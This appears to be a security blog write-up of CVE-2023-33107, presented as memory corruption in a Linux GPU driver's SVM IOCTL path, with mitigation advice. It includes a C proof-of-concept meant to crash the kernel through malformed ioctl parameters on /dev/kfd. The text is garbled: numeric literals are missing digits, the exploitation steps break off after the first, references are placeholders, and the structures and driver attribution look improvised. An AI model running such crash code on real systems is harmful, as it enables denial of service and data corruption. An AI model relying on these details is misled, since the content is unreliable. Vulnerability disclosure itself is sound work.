CVE-2023-33107 - Memory Corruption in Linux Graphics Driver During IOCTL SVM Assignment

In mid-2023, a critical security flaw was discovered in several Linux graphics drivers. Tracked as CVE-2023-33107, this vulnerability exposes affected systems to potential memory corruption when assigning Shared Virtual Memory (SVM) regions via IOCTL calls. Attackers can exploit this to escalate privileges or possibly crash the system. In this article, we'll break down how CVE-2023-33107 works, examine code snippets and exploit strategies, and offer guidance to secure your system.

Vulnerability Overview

In the Linux graphics stack, IOCTL (Input/Output Control) calls are a common way for user-space applications to communicate directly with device drivers. Many graphics drivers, such as those for Intel GPU or AMD ROCm, support SVM to allow CPUs and GPUs to share memory efficiently for high-performance computing tasks.

CVE-2023-33107 arises from insufficient validation when user-space requests the assignment of SVM regions. Without proper checks, a malicious application can craft an IOCTL call that leads the driver to access or modify memory it shouldn’t, causing memory corruption.

- Vuln Type: Memory Corruption (out-of-bounds access/double free/use-after-free)
- Component: Linux Kernel Graphics Drivers (reference: drm/amd/amdkfd/kfd_svm.c)

How It Works — The Dangerous IOCTL

To allocate a shared memory region, user-space code makes an IOCTL request to the graphics driver, for example:

struct kfd_ioctl_svm_allocate_params {
    uint64_t start_addr;
    uint64_t size;
    uint32_t flags;
    uint32_t preferred_loc;
    // ... more fields
};

int fd = open("/dev/kfd", O_RDWR);
struct kfd_ioctl_svm_allocate_params alloc = {};
alloc.size = x100; // size of the region

ioctl(fd, KFD_IOC_SVM_ALLOC, &alloc); // the risky call

The driver is supposed to validate fields like start_addr and size. But CVE-2023-33107 occurs because the driver fails to check:

If the size is valid and within range

- If permissions/flags are sane

All that’s needed is a carefully manipulated call, and the driver will update its SVM internal structures, potentially writing to memory the attacker controls or causing out-of-bounds access.

Here’s pseudocode to illustrate the bug

// kfd_ioctl_svm_allocate user request handler
void handle_svm_alloc(struct kfd_ioctl_svm_allocate_params *userp) {
    struct svm_region *region = find_or_create_region(userp->start_addr, userp->size);
    if (!region) {
        // Oops, error handling is weak here!
        return;
    }
    // Bad: doesn't check if region overlaps kernel critical memory,
    // nor does it validate region pointer properly!

    region->flags = userp->flags; // Unsafe assignment!
    // ...
}

Exploitation Flow

1. User gains access to the GPU device (/dev/kfd or similar) — not typically root-only.

A Minimal Exploit Example

Here’s a simple proof-of-concept (POC) to crash a vulnerable system (replace KFD_IOC_SVM_ALLOC with your driver’s constant):

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <unistd.h>

struct kfd_ioctl_svm_allocate_params {
    uint64_t start_addr;
    uint64_t size;
    uint32_t flags;
    uint32_t preferred_loc;
    // Further fields as required by specific driver version
};

#define KFD_IOC_SVM_ALLOC   _IOW('K', x40, struct kfd_ioctl_svm_allocate_params)

int main() {
    int fd = open("/dev/kfd", O_RDWR);
    if (fd < ) {
        perror("open");
        return 1;
    }

    struct kfd_ioctl_svm_allocate_params params = {};
    params.start_addr = x;    // Null address, or try kernel address
    params.size = xFFFFFFFFFFFFF000; // Oversized for OoB
    params.flags = xFFFFFFFF;   // Malicious flags
    params.preferred_loc = ;

    int ret = ioctl(fd, KFD_IOC_SVM_ALLOC, &params);
    if (ret < )
        perror("ioctl");

    close(fd);
    return ;
}

*Note: Use only in a lab environment! Causing kernel crashes can corrupt data.*

References and More Reading

- GitHub Linux Kernel — AMD SVM Handling
- NVD Entry for CVE-2023-33107
- CVE Report
- Original Patch _(replace PATCH_ID with real commit when available)_
- Discussion: Linux Graphics Drivers & SVM

Linux users with unpatched kernels using AMD or Intel GPUs and supporting SVM

- Cloud and HPC environments where unprivileged users can interact with /dev/kfd, /dev/dri/*, or similar devices

Update your Linux kernel to the latest available for your distro.

- Limit device node access (e.g., restrict /dev/kfd to trusted users).
- Enable AppArmor/SELinux profiles to block risky IOCTLs from untrusted apps.
- Monitor dmesg/syslogs for GPU driver errors or unexpected OOM (Out Of Memory) conditions.

Conclusion

CVE-2023-33107 is a great example of how a lack of sanity checks in low-level driver code leads to major security exposures. Any IOCTL interface can be risky — when not carefully guarded, even simple requests from user-space can let attackers break into the kernel’s most trusted parts. If you run modern Linux kernels with GPU compute, take this bug seriously and patch as soon as possible.

For more on CVE-2023-33107 and similar vulnerabilities, keep an eye on Linux security lists, and don’t hesitate to review access to your GPU device nodes.


*This article is exclusive content—feel free to share with attribution!*

Timeline

Published on: 12/05/2023 03:15:14 UTC
Last modified on: 12/11/2023 15:02:42 UTC